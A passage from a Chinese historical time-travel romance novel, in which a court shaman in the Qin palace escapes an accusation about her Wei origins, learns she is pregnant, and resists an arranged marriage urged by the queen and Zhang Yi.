门客说完,孟大夫问楚越道:“门客所言,司巫认可否?” 楚越想了想,“往事去之已久,我只记得,是在秦魏边境遇见公孙先生,具体在何处,已经记不起。” 孟大夫等楚越说完,便朝秦王拱手一拜,“王上,雕阴战后,有赖于相国,魏国已将上郡十五县,割让给秦国,故而上郡地图、百姓名册,都在秦国。” “臣调阅旧册,根据犀与门客所指,当年公孙先生救司巫的地方,与犀弟授一家居住之地,相距不过数里。村中土地名册,也确有犀弟授一家的记载。授有一女,名殷,与司巫年纪相仿。” “大王,种种证据,全证明,司巫楚越,便是魏女殷,她巫咸国人身份是假。秦国、大王,全被此女蒙蔽了!” 楚越心剧烈跳了下。 好全的证据链,难怪孟夫人那么自信。 她原本还在想,犀一个小吏,如何能找到秦国?即便能找到秦国,仅凭他一面之词,又怎么能证明,自己和他的血缘关系。 但如果这背后还藏着公孙衍,就说得通了。 兵祸连绵,一个五岁的孩童,能走多远,公孙衍只需要在捡到她的地方,附近十里走访,就能找到蛛丝马迹。 当年救她的人,现在又要置她于死地。 看来她扬名义渠,真是把双刃剑。公孙先生,还没有放下他的理想。 秦王蹙眉,扫视殿中人一圈,最终落到犀身上,“你上前去看司巫,可觉得与你弟弟相似?” “是。” 犀上前,在楚越三尺外止步,抬手行礼道:“司巫,冒犯了。”说罢,才抬起头,望向楚越。 那道凝视的目光落在脸上,楚越感受到了前所未有的压力,脖子仿佛被人攥住,心跳的沉重。 犀细细打量着她的面庞,良久,对秦王道:“不,她不是。她长得,和我的弟弟、弟妇,没有一丝相像,大王,她不是我弟弟的女儿。” 众人皆是一惊,孟大夫愕然道:“什么!你说什么?你前几日不还偷偷看过她,说她一定是你弟弟的女儿吗?” 犀颔首道:“那日隔得太远,没看清晰。” 见状,一直沉默不语的诙也忽然大声道:“王上,司巫是冤枉的,是这匹夫派人抓了我,严刑拷打,要我做伪证,构陷司巫啊。王上明察。” 孟大夫大惊失色,指着诙,“你!” 楚越嘴角勾起一抹暗笑,真以为诙是去刺杀犀的吗? 苦肉计。 无论犀是否指认自己,诙都会当庭翻供,将水搅浑,双方各执一词,事情就会陷入僵局,不会对她太不利。这番证词一出,就轮到孟氏证明自己的动机。 但令楚越感到意外的是,犀居然没有认他。 看到犀第一眼,原主的一些记忆碎片,便涌入楚越脑海,他和原主脑海中的父亲,长得有八分相似。所以,他应该是真的。 楚越也不知道,是这位伯父真不认识她,还是有别的原因,总之,他的证词,对自己有利。 现在不是多想的时候,楚越撸起袖子就朝孟大夫走了过去,等嬴疾、嬴华反应过来,将她拉开,她已经痛殴孟大夫三拳。 练武不动手,苦白吃了。 “大胆!”秦王斥责道。 楚越这才住手,指着孟大夫道:“他蓄意构陷,我与这匹夫不共戴天。” 她神情愤慨,似乎真的受了什么天大的委屈,说着,她又挣脱了两人,上前要踹孟大夫。 嬴华眼疾手快,一手搂住她的腰,径直将她从地上提了起来,楚越踢出去的腿,在空中转了一圈,落到另一个方向。 “王上面前,不可放肆!” 嬴华站在两人之间,高大的身躯阻隔争端。 “你包庇他!” 楚越本是装怒,却不知为什么,这一瞬,真的怒上心头,她一气之下,连嬴华都踹了一脚。 “你。” “子越!”王后直起身来,厉声斥责道。嬴荡上前,将楚越请走,楚越瞪了嬴华一眼,站到了王后身边。 王后站起身,两位夫人见王后站立,也随之起身,王后向秦王行礼,拜道:“大王,此事蹊跷,还请大王明断,还子越一个清白。” 秦王见王后下拜,当即直身,将她扶了起来,“王后不必忧心,这件事,寡人查证之后,自有定夺。” 大法官嬴驷没有当庭判决,而是让众人先退下,他要研究下案情,择日再宣判。 楚越搀扶起诙,嬴华见状,也上前帮忙,张仪见诙一身是伤,摇摇头,“好好养伤吧。” 说罢,他看了一眼楚越,示意她不要担心。 嬴华想送楚越回去,却被她拒绝,“你还是回去吧,别牵连我了。” “你只会平白无故害我。” 楚越说的直白,“你敢说,今日的事情,和你的夫人、孟氏,一点干系都没有吗?” “这件事,我会处理。” “你怎么处理?”楚越冷笑声,“你还能杀了她不成?一个要杀我的人,我如何能与她共处?你我的婚事,还是不要再提的好。” ‘ 嘶’的吸气声,响得不合时宜。 两人侧首,轺车上,诙捂着伤口,五官扭曲。 楚越再不与嬴华多讲,登上车,抓住缰绳,载着诙,驱车离去,徒留下身后嬴华,站在马车掀起的扬尘中。 两人回到府邸,婼和辛迎了上来,见诙浑身是伤,婼关切道:“这是怎么了?” “没事。”诙道,“皮肉伤。” 婼取来药箱,要为诙处理伤口,楚越接过药箱,“我来吧,你去熬药吧。” “好。”婼并没有多想。 楚越看了辛一眼,“你也去。” 辛虽然不解,但还是听话离开。 一时屋中只剩下两人,楚越低头,麻利帮诙处理起伤口,诙欲言又止,良久,还是忍不住开口,“你和你到底和” 他结结巴巴,怎么问都觉得不合适。 总不能问,你到底和几个男人在好吧。 楚越抬眸,“主公的事情,是你该问的吗?” 有没有当门客的职业操守? 打听老板隐私? “不敢。”诙立刻道。 楚越这才低头,继续帮诙包扎伤口,“你这个主意想的不错,帮了我大忙。” “若司巫不信我,不告知我此事,我也没有机会,为司巫解忧。” “你想要什么作为奖赏?” 多给点奖金吧,楚越想,她可不是抠搜人。 诙也不客气,“可否准我回家看看?” “你要休年假。” 诙愣了一下,嗫嚅道:“倒也用不了一年旬月便归。” 楚越笑了,“一年,你想的倒挺美。” 带薪休假一年?那绝对不行。 “我会额外给你一笔钱,如果旬月之后,我被人戳穿身份,你就不用回来了,另谋生路去吧。如果我还是司巫,这笔钱,就是给你忠心的奖赏。” 诙一惊,但什么也没说。 能做的都做了,大难临头,当然要各自飞。 楚越帮诙包扎好伤口,便离开了屋中,天边一线,乌云凝聚,沉沉压在空中,她仰首,望着天际,燕子低飞,掠过屋脊。 暴风雨,就要来了,她站在这风暴的中心,还不知该何去何从。 第44章 怀孕意外之喜 约莫半月后,诙的伤势好转,便准备归乡,楚越命庖厨做了些酒菜,打算为他践行,婼得知他家中老母身患眼疾,问过症状后,为他准备了一些药材。 辛在廊下,望着收拾行囊的诙,良久,她朝诙喊道: “喂!” 诙回头,望向廊下少女,“怎么了?” “你还会回来吗?” 诙眸光一紧,垂眸道:“我只是离家太久,想回去看看。” 辛显然不信,“真的吗?” 诙没有回答。 辛穿上鞋子,三步做两步,跑到诙面前,将捏在手中很久的一件东西,塞到了他手中,“那你早点回来。” 诙低头一看,是一块黄金。 空心的麟趾金,被辛捏成了一团。 “婼姊说你母亲身体不好,拿去。”她眼睛明亮,神情慷慨,眼中没有对黄金的不舍,只有助人为乐的骄傲。 诙笑了下,“好大方,司巫舍得,你也舍得。” “钱财,乃身外之物。” 楚越从屋中出来,恰好听见辛这番高谈阔论,“是,那日后看见别人有好吃的,好玩的,你最好别多看一眼,都是身外之物。” “不看就不看!”辛很有骨气。 疱人备好饭食,婼也将药材准备好,交给诙,几人入内,辛已经将几人面前的漆杯倒满酒。 众人立在一边,楚越先坐,而后几人才相互谦让,陆续落座。 吃席第一项,领导讲话,提第一杯,楚越举杯,一时却想不出什么冠冕堂皇的话,只能道: “干杯。” 应该没人会喜欢听领导乱说。 也没几个人真听进去。 说了等于没说,那还说什么。 反对酒桌文化,从她做起。 楚越提完第一杯,诙说了一些官样文章,感谢领导、感谢同事一类的废话。便轮到婼,她比较关心诙母亲的眼疾,三句话,有两句话是在嘱咐药材用法。 辛年纪小,但义薄云天,放下豪言,让诙有事只管找她。 众人一时都笑了。 饭菜丰盛,有鱼有肉,菜肴的香气,钻进楚越鼻子,她却没由觉得恶心,之前做梦都想吃的肉,此刻变得分外油腻。 果然是好日子过多了。楚越不由感慨。 恶心的感觉越来越强,一股酸涩,在胸腹间翻滚,她抬手,微微掩唇,腹部一阵紧缩,掩唇的手死死捂在了嘴上。 不能吐,吃饭呢。 婼注意到她异样,询问道:“怎么了?” “有些头晕。” 和恶心感一起涌上来的,还有强烈的晕眩感,楚越一手称地,才勉强坐稳。 还没喝酒,就醉了? 见状,几人的视线立刻集中在楚越身上。婼立刻上前,扶住她,诙与辛将她面前的桌案抬到一边,而后关切围了上来。 婼想为楚越诊脉,她的手刚按上楚越手腕,楚越忽然想起什么,触电般将手缩了回来。 “不用。可能着了风寒。” 她深深看了婼一眼,婼会意,“看样子,也应该是得了风寒,昨夜风大,窗户一时没关紧,风寒入体。” 楚越身体不适,践行宴收场的潦草,她回到屋中,靠在床榻,开始认真算起自己的月经周期来。 从初癸开始,她的月经一向准时。本该来的东西没有来,楚越用脚趾想一想,也知道到底是什么原因。 贪图男色,是有报应的。 这个时代没有任何靠谱的安全措施,任何! 橡胶树还未被引进亚洲,在老家美洲亚马孙当土著作物,楚越要想搓出安全套,必须先一步开辟新航路,找到那崭新之地。 要么清心寡欲,做比丘尼,要么接受男色的副作用。 两个身体健康的人,早晚会搞出人命。 报应早不来,晚不来,偏偏在这个危机的时候,落到腹中。 楚越按上自己小腹,认真道:“幸亏白起头不大,我头也不大,你应该不会是个大头儿子,头不大,我再健康作息,认真锻炼一下,应该没什么大问题。” 就在她满心欢喜,等着白起再来见她,好告诉他这一喜讯时,公子荡却满面愁容登门,“姊姊,母后命我接你回宫。” 看嬴荡面色,似乎又发生了什么事。 “到底怎么了?” 嬴荡压低声音,“孟大夫前日又带着一个证人进宫,据说那人曾亲眼目睹,公孙先生在路边捡到一个孩子,父王来找母后,想要你幼时画像,母后借口时间久远,需要找一找,暂时拖住了父王。” “先回宫吧,有母后在,总安全些。” 楚越点头,“好。” 诙不在,只剩下婼与辛,楚越不放心她们在宫外,干脆将两人也带进了宫,安顿好两人,楚越匆匆去见王后,在宫门处,与张仪迎面相逢。 楚越向张仪见礼,张仪还礼后,向前一步,压低声音,“事情你应该都知道了,种种证据,现在都对你不利,跟紧王后,保全自己,我会择机,为你辩解。” 有王后在,楚越并没有多少害怕。 张仪是魏国宗室,与王后是血亲,内有王后,外有丞相,就算孟氏坐实她的身份,她也未必会死。 但她苦心营造起来的‘名’,就毁于一旦了。 失去和命运抗衡的武器,同死的区别也不大。 “现在这局面,未必是坏事。”楚越看了张仪一眼,“这件事之后,没人会再怀疑我和公孙先生的关系。只要能让秦魏同盟缔结,公子荡成为太子,让公孙衍成为秦国 的头号敌人,那么任何和他勾连的人,都是叛国。” 张仪诧异看了楚越一眼。 显然,叛国这个帽子,有点大,一旦扣下去,就是血流成河。 楚越补充道:“人不犯我,我不犯人。” 张仪垂眸,略作思索,“先去见王后吧。” 王后也正等到张仪,见他和楚越一起来了,忙命宫人赐座。 “相邦,现在这事,该怎么才好?”王后问道。 张仪想了想,“王后,臣想,此事关窍在季孟夫人,季孟夫人多年无子,孟氏应当是怕季孟夫人地位不稳,才会出此下策,不如由王后,将季孟夫人母女请来,与司巫相见,从中说和,此事或许有解。” 王后觉得有理,看向楚越,“子越,你觉得呢?” 楚越还未开口,张仪又劝道:“不过一时低头,暂时并嫡,待到你与公子华完婚,诞下子嗣,尊卑便拉开。” “我觉得不可。”她回答得干脆。 王后与张仪面露难色,张仪劝道:“暂时低头,现在情况,于你十分不利。” 楚越斩钉截铁道:“不可就是不可。” 这些日子,楚越想了很久,才想明白孟夫人为何要逼她嫁给孟守。 五国攻秦后,各国邦交洗牌,秦国很可能继续与魏盟好,那么魏公主所出的嫡子公子荡成为太子的可能性就更大了。 公孙衍要继续对抗秦国,势必要未雨绸缪,毁掉自己的‘名’,以免将来掣肘。 孟夫人要维护自己的女儿,必然也要毁掉自己的‘名’,拉开自己和嬴华、季孟的差距。 她显然想两边通吃,拿着公孙衍的证据,威胁自己,让自己低头,答应和孟守的婚事,而后再与公孙衍合作,毁掉自己的‘名’。 这样一番提纯下来,她就是被拔掉刺,任人拿捏的鱼肉,还非常富有营养价值,可以拉近孟氏和王后、太子的距离,做他们家族的踏脚石。 孟夫人,根本没打算放过自己。 想到这里,楚越继续道:“我说不可,不是不可暂时低头,而是忧心孟氏另有所图。” 王后与张仪并不清楚孟夫人威胁自己一事。 张仪也简单的将孟氏威胁自己,视作担忧季孟夫人地位受损之举。 楚越决定隐瞒,并彻底将孟氏和王后、公子荡隔绝,并把众人的视线引至夺嫡。 “若他们是想拥立公子壮,一切不是更合理。” “不然,他们为何联合起来?” “公孙先生攻击我,无非是为了合纵,可是公孙先生,是怎么说动孟氏呢?仅仅因季孟夫人一人,孟氏便不顾此事会波及王后与荡公子,岂非因小失大?” “我一人无谓,但我只怕他们不是为了季孟夫人,也不是真在攻击我,而是想借此,攻击王后、荡公子。试想,如真如我所想,得利的究竟是谁?” “不是公子壮吗?” 王后脸色顿变,张仪的神情也变得凝重,太子,意味着将来,对张仪而言,公子荡也意味着现在,他的连横。 良久,张仪缓缓开口,“王后,臣以为,司巫所言有理。” “相邦。” 孟氏二次呈递证据,让案情渐渐清晰,楚越魏人的身份,越来越无法隐藏。嬴驷依次召见了几位亲近大臣,问他们的看法,其中也包括张仪。 张仪思索片刻,对嬴驷道:“王上,臣以为不过是小事,妇人争风吃醋,父母爱子心切,一时乱象而已。” 嬴驷却道:“寡人当年也调查过她的身世。毕竟,她是跟随公孙先生一道入秦的。” “她从魏国而来,古之巫咸国,现属楚国巫郡,中原之地,重礼法,对鬼神之事,敬而远之。仅从来向,寡人便有些怀疑。” 嬴驷揣测过楚越的身世,但战乱连连,彼时魏国还未割让上郡大片领土,他无从查证。后来那些预言印证,他也就渐渐熄了怀疑之心。 但现在,旧事重提,连带着嬴驷最初那一丝揣测,也被唤醒。 张仪见嬴驷也说出了自己的怀疑,小心翼翼试探道:“那大王是相信孟大夫的话了。” 嬴驷没有说话,愁眉不展,张仪打量着他的神情,心中已经有了几分猜想。 “王上,臣觉得,司巫是什么人,其实不重要,重要的是,大王想让她成为什么人,列国以为她是什么人。” “巫咸,是天下巫师之宗不假,但早已做古,其后人中,未必有贤如巫咸者,司巫之能,大王已经目睹,她未必不如巫咸后人。有能,名便不重要。” “无名之人,为了得到君王青睐,用些旁门左道,也不是什么大事,只要真有才干。” 嬴驷觉得有理,点了点头。 张仪继续道:“而且,巫咸族后人,携带天命入秦,助力秦军,以巫术,诅咒义渠,不好过,一个招摇撞骗的魏人术士,巧言令色,欺骗大王?” “是真是假,还由大王明辨。” 嬴驷想了想,“若司巫是真,那寡人又该如何处置孟氏。” “若司巫是真,那孟氏,便其心可诛。” “试想,大王被一幼童欺骗多年,一旦列国知之,岂非令大王颜面扫地。秦失司巫,得利的却是列国。如此损国、损大王,而利他国、利敌国之为,不是叛国,不是谋反,是什么?” “请大王,诛孟氏,为司巫正名。” 第45章 婚事让孩子以秦国公孙的身份出生…… 孟大夫,被下了牢狱,等候处罚。但真正的罪魁祸首,毫发无伤。 孟内史也没有蠢到自己站出来的地步,所谓同族血亲,不过随时可以抛弃的一枚棋子。 出头鸟,只有两种极端的结果,要么加官进爵,要么人头落地,显然,孟大夫是后者。 楚越坐在窗下,视线透过半掩的窗扉,望向天启阁中庭院的跪着的青年,一时有些不忍、犹豫。 孟大夫是孟守他爹,他通过魏冉找到了自己。 他一旦开口,楚越就不好拒绝,干脆拒而不见,孟守见楚越不见自己,双膝一曲,跪在了庭院中,执意要求见。 正午太阳毒辣,他跪得板正,腰背直挺,约莫跪了一个多时辰,楚越到底不忍,“别跪了。” 她打开窗,对庭中青年道:“你若是为你父亲求情的话,还是趁早离开吧。” 家中遭逢骤变,孟守备受打击,憔悴的厉害,一身简朴衣着,全然不见半分当日英气逼人小将军的影子。 “我知道是谁害了我父亲。” 孟守抬头,眼底全然倔强。,他大声对楚越道: “我来不是为了父亲求情,我想投奔您,为我的父亲报仇。您既然能收诙做你的门客,我也可以,我比他更强,他不认识字,但我认识,咸阳城的情况,我也比他更熟悉。” “司巫若要嫁给公子华将军,伯父不,那老贼势必不会与司巫善罢甘休,我们拥有共同的敌人,既然如此,何不联手。” 说罢,孟守抬手,朝楚越拜了下去,“请司巫成全。” 前半句令人心动,后半句简直是胡说。 楚越站了起来,指着门口,言简意赅,“滚。” 趁她没翻脸之前,快点滚。 孟守还想说什么,膝行两步,哀求道:“司巫” “把他给我叉出去。” 见楚越真生气了,宫人寺人也不敢违逆她的意思,一拥而上,连推带挤,将孟守赶了出去。 楚越站在廊下,秋日的风中,还残存着些许夏日的闷热,她深吸口气,试图压下心头怒火,可热风入肺腑,反生出一股黏稠感,粘在五脏六腑,燥热难耐。 孕妇体热,一燥热,楚越便没什么耐心,眼前危急已经解决,那么该思考一下悔婚的事情了。 信誉分这个东西,生来就是要被扣的。 不管。 楚越去见了王后,王后正在为嬴荡缝衣,他长得快,长得高,又正在学武,一件衣服,不到半月,要么捉襟见肘,要么破损不堪。 见楚越来了,王后温柔一笑,招手让她过去,见她额头满是细密汗珠,便放下手中阵线,为她擦拭汗水,“怎么一脸的汗,还愁眉不展的?” 王后的手熨过她不经意间紧蹙的眉宇,“放心,能有什么事,不管你是什么人,巫咸后人,还是魏人,都不要紧。其实你要是魏人也挺好,我也是魏人。” 她笑道:“这样的话,就是上天的缘分,要我们两个魏人,在这秦宫相遇。” 王后柔声细语,令人如沐春风,楚越望着王后,咬咬牙,摊牌道:“王后,我不能嫁给公子华,因为,我已经有孕在身了。” “什么?” 王后先 是一惊,下意识看向楚越腹部,“你是你和白起的孩子?” 楚越郑重点头,“是,所以我不能答应这门婚事。” 王后看向身后女官,女官会意,当即去请医师,她拉过楚越的手,安慰道: “子越,别怕,女子妊娠乃是天命,人力无法更改,既要他投胎到你腹中,那就是命数。你先安心养胎,把孩子生下来,总归是条人命。” 没有有效避孕手段的时代,也没有先进的打胎技术,母与子,基本是同生共死。 儒学还未成为显学,程朱还没降世,人命还是比较重要的东西,大过虚名繁礼。 对于初次怀孕的楚越,王后第一时间采取了安抚措施,但这事到底不是什么符合周礼的好事,她脸上神情也是一时复杂。 她沉了脸,环视一周殿中侍奉的宫人,“今日的事情,若是传出去半分,小童就拿你们是问。” 宫人纷纷道:“是。” 见王后不让人生长,楚越便知道她是打算按下此事,于是在她开口,说出她的解决之策前,楚越先道:“王后,不如取消婚事。” 王后扫了她一眼,置若罔闻,自顾自道:“这也不是什么坏事,还是好事。” 楚越一愣,“啊?” “公子华即将而立,却依旧无子,王上与我都十分忧心。你有妊,孩子虽然不是他的,但起码证明你能够孕育子嗣,他也不至于全无指望。” “啊?” 虽然很有道理。 但这显得她像是个封建老顽固啊。 程朱理学兴起之前,时人爱娶寡妇,尤其是生育过的寡妇,一则他们以为寡妇命贵,其夫无法相匹,才会被克死,二则,生过孩子的寡妇被证明有生育能力,这在重视人口的古代来说,非常重要。 嬴华即将而立,别说儿子,连个女儿也没有,除了季孟夫人,他也没有别的姬妾。 到底是谁不孕不育,也说不清楚。 楚越若能生下这个孩子,就证明她一定拥有生育能力,她嫁过去,一切就能真相大白,水落石出! 她成那个控制变量的变量了? 楚越衣袖下的手,紧攥成拳,第一次,她是那么希望,大家能封建一点、古板一点、守旧一点。 你们可是古代人。 不要这么变通好吗? “可是这个孩子有父亲。”楚越鼓起勇气,对王后道。 王后轻轻看了一眼楚越,对她说出这番话没有感到任何意外,似乎,还正在她意料之中。 “这才是你真正想说的,看来相邦没有说错,事出反常必有妖。我听说前几日孟夫人见过你,她和你说了什么?” 楚越心中一空,“王后。” 原来当日张仪留在王后宫中,是和王后说了这些。 对于自己的一面之词,他们也并没有完全相信,但为什么又会? 王后叹口气,没有继续追问,显然,她并不想和楚越计较这件事情。 “是,这个孩子有父亲,是白起,这我知道,可是你有没有想过,不止这个孩子有父母,白起也有父母。” 楚越的心,重重砸在了胸腔。 她应该想到,也早该想到的,自己是孤儿,可白起不是孤儿,自己能舍下一切,白起却未必能放下自己建功立业的心。 所以,那一天他说的是‘会来接你’,而非‘和你一起’。 一击伤在要害,楚越切实感觉到了恐慌与无助。 王后继续道:“他是眉县人,家中有父母、两个兄弟、一个妹妹,你告诉我,你觉得他会为了你,抛却自己的亲人吗?” 楚越一怔,难怪她派人去找白起,得到的消息却是将军准许白起回乡探亲了。 这一瞬,她明了,这探亲,实则别有用意,是王后?还是张仪? “子越,小童不忍令你难过。你非要等到他抛弃你,说出那句,他对不住你,亲眼看见你喜欢的男人,为了亲人舍弃你,你才甘心吗?” “就这么分开吧。”王后叹口气,“你也是要当母亲的人了,王宫内外,群狼环伺,不为了自己,也要为了孩子想想。” “你因一己之私,将她带来这世上,让她从出生起,就承受私生子的骂名,已经够了!”王后有些生气,“不要再让更多无辜的人,无端为你的任性受牵了。” 虽然私生子被允许降世,但这并不代表,她就能光明正大活在阳光之下,和婚生子一模一样。 一丝愧疚,浮上心头。 医师很快被请来,为楚越诊脉,“回王后,司巫的确有妊,约有两月有余,不足三月。” “司巫年纪大了才生头胎,怕是不好生。” 楚越诧异看了医师一眼? 谁年纪大了? 二十出头正值黄金期的健壮女性,年纪大了? 楚越气得笑了,指着自己,“我?” 医师认真道:“是。” 这老医师发须花白,一副老中医模样,楚越见他神情严肃,不像是开玩笑的样子,一时也被他的话影响,内心忐忑起来。 “我不会死吧。” 古代产妇的死亡率非常高,虽然魂是现代人,可是她的身体还是古代的身体,现代科学应该适用于古人类吧 正在她心忧之际,老大夫继续道:“但请王后放心,臣一定尽力,保全司巫母子。” 悬着的心,又落了回去。 这老大夫的医术怎么楚越不清楚,但在为人处世、搞营销这方面,非常强。 先制造焦虑,然后突出自己医术,若非楚越接受过九年义务教育,可真的要被这老头儿唬住了。 但王后显然被老头骗住了,满面担忧,又是打赏,又是叮嘱医师,一定要照顾好楚越母子。 “你先回去吧,有身孕在身,要多休息,不要忧心。万事,总还有我在。” 秋日万物寂寥,但胜在天气好,晴空万里无云,气候也逐渐凉爽,凉快起来,楚越胸中烦闷才减轻,但她始终愁眉不展,想去见白起,又不敢去。 看不到任何希望,也没有一丝勇气去面对。 “公子华将军。”婼拦住嬴华,“您不能进去,司巫正在休息。” “这都什么时辰了?还休息。” 婼解释道:“司巫身体不适。” 她还想再阻拦,嬴华却已经越过她,径直闯进了屋中,楚越从床上坐起,抓起被子,遮挡腹部,愕然望向闯入的嬴华。 他穿得很正式,深黑袀玄,宽衣博带,冠缨结在颔下,似乎才见过君王。 “起来,这么躺着会出毛病的。”嬴华扫了她一眼,口气尽量温和。 沉默半晌,她磨磨蹭蹭掀开被子,未经染色的苎麻衣裙,颜色素净。 外间阳光正好,温暖而不刺眼,明媚而不炽烈,王宫中秋色宜人,应季的鲜花盛开,楚越几日不曾出门,如今这么一走,也有了几分心旷神怡之感,眉间忧虑,淡了几分。 玄衣青年在前,带着素裙少女,打花团锦簇前掠过,他们穿过万千垂下的绿枝,最终在一处殿阁前停下。 长廊尽头,宫人、寺人忙碌不已,嬴华盯着这些忙碌的宫人,目光悠长。 “你知道他们在做什么吗?” 楚越举目,看了一眼对面的宫人,“不知道。” “王后已经请大王下诏,将你赐婚给我,不日,就要完婚,这里,就是成婚之地。” 楚越如遭雷击,“为什么没有人告诉我?” 嬴华回头看向她,“现在我不是告诉你了吗?” 他似乎已经打定了主意,望着楚越道:“你若是愿意嫁给我,我日后一定会对你好。若 你不愿意” “不愿意的话王命已下,你也得嫁给我,我会好好照顾你,和你的孩子像兄长那样。” 楚越一惊,对上嬴华视线,“你知道了?” “是,我知道了。婚期之所以这么赶,就是因为我向王后请求,如果可以,我愿意做孩子的父亲,让这个孩子,以公孙的身份出生。” 楚越愣神一瞬,转而笑出声,她笑的凄苦,胸中好似有千言万语,临到喉头,却什么也说不出来。 曾经轰轰烈烈的爱过一个人,炙热的火焰几乎将一切理智烧灼成灰,楚越站在而今的断壁残垣上,回首当初种种,只觉得可笑。 肩膀忽然被人握住,楚越抬首望去,对上嬴华坚毅的双眸,“你应该愿意嫁给我的,以前,不是,很喜欢我吗?为什么坐在那里,那么久都不离开?” 像被根锋利的针戳了一下,楚越恼羞成怒,用力挣开嬴华的手,转身便要走。 第46章 绥绥白狐成于家室 嬴华追了上来,挡在她身前,楚越向左,他也向左,楚越往右,他也往右。 楚越压下怒火,仰头直视嬴华,“我只是奉王后之命来劝你,你不出来,我如何交差,我只是喜欢看月亮,不可以吗。” “我是说打义渠那次。”嬴华很冷静。 “那天没有月亮,天很黑。”他盯着楚越的眼睛,似乎想从她眼中看到自己想要的答案,“你总说巫女和别人不一样,难道不一样到了,你们有自己的月亮吗?” 他想了很久,也无法将一个稚童和情爱联系起来,可是似乎除了这个答案,也没有别的解法。 楚越对他说的很多不着边际的话,也变得合理起来。 八岁的孩童仰起头,气鼓鼓的脸上,满是不忿,“不要将我当小孩子,我们巫女和别人不一样。” 少年嬴华显然没将她的话放在心上,伸手便拧上她的脸颊,“净说胡话,你不是小孩子,难道我是吗?” 楚越气急,推开嬴华,头也不回的走了,少年嬴华站在原地,望着她离开的背影,大声道:“那边有蛇。”楚越驻足,回头瞪了他一眼,又继续走了。 少年哈哈大笑,追了上去,抓住她的手臂,似乎想要解释,可是当楚越望向他,记忆中两张脸重合,又分开,他又看到了那个被他惹生气的小姑娘 他能说什么? 就算抓住那个小姑娘,他又能和她说什么? 嬴华望着面前青年女子,久久沉默,即便猜测真的得到印证,他却依旧无法做出任何回应。 因为过去的楚越,真的只是个小孩子。 楚越提起裙子,踹了嬴华一脚,“松手!” 嬴华不松,只是望着她,楚越对上他的视线,眼底怨恨死而复生,“是又怎么样?你猜的对,但你猜的也不够,你猜掉了一部分。” 楚越虽未明说,但一切显而易见,是恨,爱而不得,滋生怨恨,她还依旧怨恨着他。 嬴华垂眸,遮住眼底失落。 “你要是不怕我和人私通,你大可以娶我。”楚越一生气,说起话来也毫不避讳。 嬴华愣了一瞬,“你” “你看我敢不敢!”她下巴扬起,倔强盯着嬴华的眼睛,“不要觉得你能接纳这个孩子,就显得自己很伟大,这个孩子有父亲,是你们用卑鄙的手段,让她沦为私生子。” 没等嬴华反应过来,楚越已经挣开他的手,小跑离开了,嬴华后知后觉,对百花丛中那一抹洁白喊道:“别跑,当心摔了。” “要你管。”楚越头也没回,冷冷丢下这句。 没等她去找王后,王后先命人为她送来嫁衣,想来嬴华来见她一事,王后已经得知,既然如此,索性挑明。 或许不只是王后,所有人都觉得,自己不嫁,是因为心有所属,其实不然,在她的选项中,还有一项和这个世界格格不入的选择——终身不婚。 但宫人将玄纁婚服放在了她面前,使者屏退宫人,准备再劝她。 面对张仪,楚越没给他好脸色,抢在楚越开口骂他之前,张仪先开口道: “恭喜司巫,哦,不,日后该改称大司巫了。” 张仪一番故弄玄虚,玄到了楚越心上,到嘴边的亲切问候,变成了困惑,“什么司巫大司巫的?” 见楚越好奇,张仪继续道:“司巫不知,大王为你特设了一官职,在司巫前,增一大字,号为大司巫。” “大与不大,有什么区别吗?” “大者,亦作太,尊词。天下巫祝中至大者,便是大司巫。你与公子华完婚后,便为嬴氏妇,自然能掌祭少昊、颛顼,再兼祭巫咸,是名副其实巫祝第一人啊。” 楚越冷笑声,“说到底还是要成婚,说来也是可笑。真是可笑!我获得如此称号,居然不是因为自己,而是嫁了个丈夫。” “此言大谬。”张仪在宫人拿来的垫子上坐下,反驳道:“秦传数百年,有多少公子,多少公子妇,但能得此殊荣之人,唯有你一人,怎么能说,是因为旁人的缘故。” “这是你自己的功绩,你的所作所为,王上也一直记在心中,只是找不到合适的契机。” 楚越拂袖,怒道:“既然有功,为何逼我?我不嫁,如要强人所难,就让尸体嫁过去吧。” 她的态度明确,张仪脸上的笑容渐渐凝固,良久,他才语重心长道:“何必如此,司巫是聪明人,我也一直将司巫当做同道中人。” 楚越不答,以防掉入这诡辩之士的圈套。 张仪自顾自道:“阁下与我,皆是秦国名士。” “不敢。” “司巫不必推脱,别人口中的名士,或许有褒扬之意,但张仪所说名士,是指有名之士,声名显达,不论好恶。” 楚越翻了个白眼,“相邦若是来劝我的,还是少废些口舌。司巫也好,大司巫也罢,不嫁就是不嫁。” “我的确是来劝司巫,但也不是。” “哦?” 张仪继续道:“司巫为秦国浴血杀敌,秦国却无对应的名位封给司巫,只能让司巫嫁给自己不忠爱的男子,才能给予对应的名位,实在不公。我也为司巫不公,所以,我说自己不是来劝司巫的。” 楚越不信,“那你又为何来劝我?” “也是因为这不公,司巫为大秦付出这么多,应该获得封赏,大司巫的位置,非你莫属,而不该属于那些,只会隐身在宗庙烟火中的碌碌之辈。” 楚越有些动容,一个在有完全晋升社会体系中待久的人,对这个连科举制都没有的时代,是有不满的。 张仪打量眼楚越神色,趁热打铁道:“你我皆是士,天子、诸侯、卿、大夫,许多许多之下,才是你我。我虽然出身魏国宗室,但也只是魏王余子之后,穷困潦倒之际,连一个奴仆都能折辱。” “贵人生来就是贵人,贱人要想成为贵人,必须要绞尽脑汁,耗费心力,像个商贾一样,在贵人面前兜售自己的才华。” “有些贵人,心胸狭窄,一言不合,就要派人殴打。我却毫无还手之力,只能任人折辱。那时我就想,自己一定要做名士,要一展宏图。” “可我成了名士,却发现,自己不过多一个名罢了,依旧是一个声名显赫的,贱人。我费劲心力,挤走公孙衍、陈轸,终于成了丞相,可是一朝战败,公室排挤,那高位,就和我失之交臂。” 张仪提及失去相位,被驱逐的经历,脸上浮现出愤恨与不甘,“君主要的,只是我们的才华,一旦没用了,就弃若敝屣。” “吴起强魏,却不容于公族,被迫亡楚,楚用吴起,逐渐强大,然而楚王一死,吴起便被杀。商君,被车裂。一个国家,属于国君,属于宗室,属于公族,不属于立下军功的将军,也不属于我们这些名士。” 虽然并不清楚,张仪说这些话的用意,但对于他所说,楚越也不置可否。 兔死狗烹、鸟尽弓藏,是这样的,千古以来都是这样的。 天下属于君主私有,但运转这个国家,需要有能力的人,当人发现可以通过自己的能力晋升,而非旁人,君主,算个什么东西? 科举制孕育出的文官,大多是这种想法。 “可我还是别无选择,周室,更无我的容身之地,我只是一个不入流的贱人,秦国,给了我相位 ,权柄。纵然可能只有一夕光华璀璨,但我张仪,也要声名显赫,让世人目睹,令青史载我名。” “这和我有什么关系。”楚越神情冷漠。 